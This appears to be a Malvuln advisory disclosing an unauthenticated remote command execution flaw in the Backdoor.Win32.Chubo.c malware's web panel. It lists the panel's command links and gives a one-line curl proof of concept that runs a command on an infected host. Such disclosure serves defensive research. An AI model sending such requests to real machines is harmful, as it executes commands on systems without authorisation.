Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Chubo.c
Vulnerability: Unauthenticated Remote Command Execution
Family: Chubo
Type: PE32
MD5: c16b04a9879896ef453a6deb13528087
Vuln ID: MVID-2022-0527
Disclosure: 03/26/2022
Description: The malware listens on TCP port 81 and 8080. There is a HTML web-panel that exposes the entire system and creates HTML links to run commands made available by the backdoor.

Commands:

F="./?DRV=">LIST DRIVE</A></TD>
    <TD><A HREF="./?DIR=">LIST DIRECTRY</A></TD>
    <TD><A HREF="./?MF_=">MANAGE FILE</A></TD>
    <TD><A HREF="./?UPL=">UPLOAD FILE</A></TD> </TR>
<TR><TD><A HREF="./?EXE=">EXECUTE COMMAND</A></TD>
    <TD><A HREF="./?REG=">EDIT REGISTORY</A></TD>
    <TD><A HREF="./?SYS=">GET SYSTEM INFO</A></TD>
    <TD><A HREF="./?TGT=">SET PROXY TARGET</A></TD> </TR>
<TR><TD><A HREF="./?SSS=">START SCREEN SAVER</A></TD>
    <TD><A HREF="./?SND=">PLAY SOUND</A></TD>
    <TD><A HREF="./?BRW=">BROWSE URL</A></TD>
    <TD><A HREF="./?SCAN=">SCAN IP</A></TD>


Exploit/PoC:
C:\>curl http://x.x.x.x:81/?EXE=calc

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).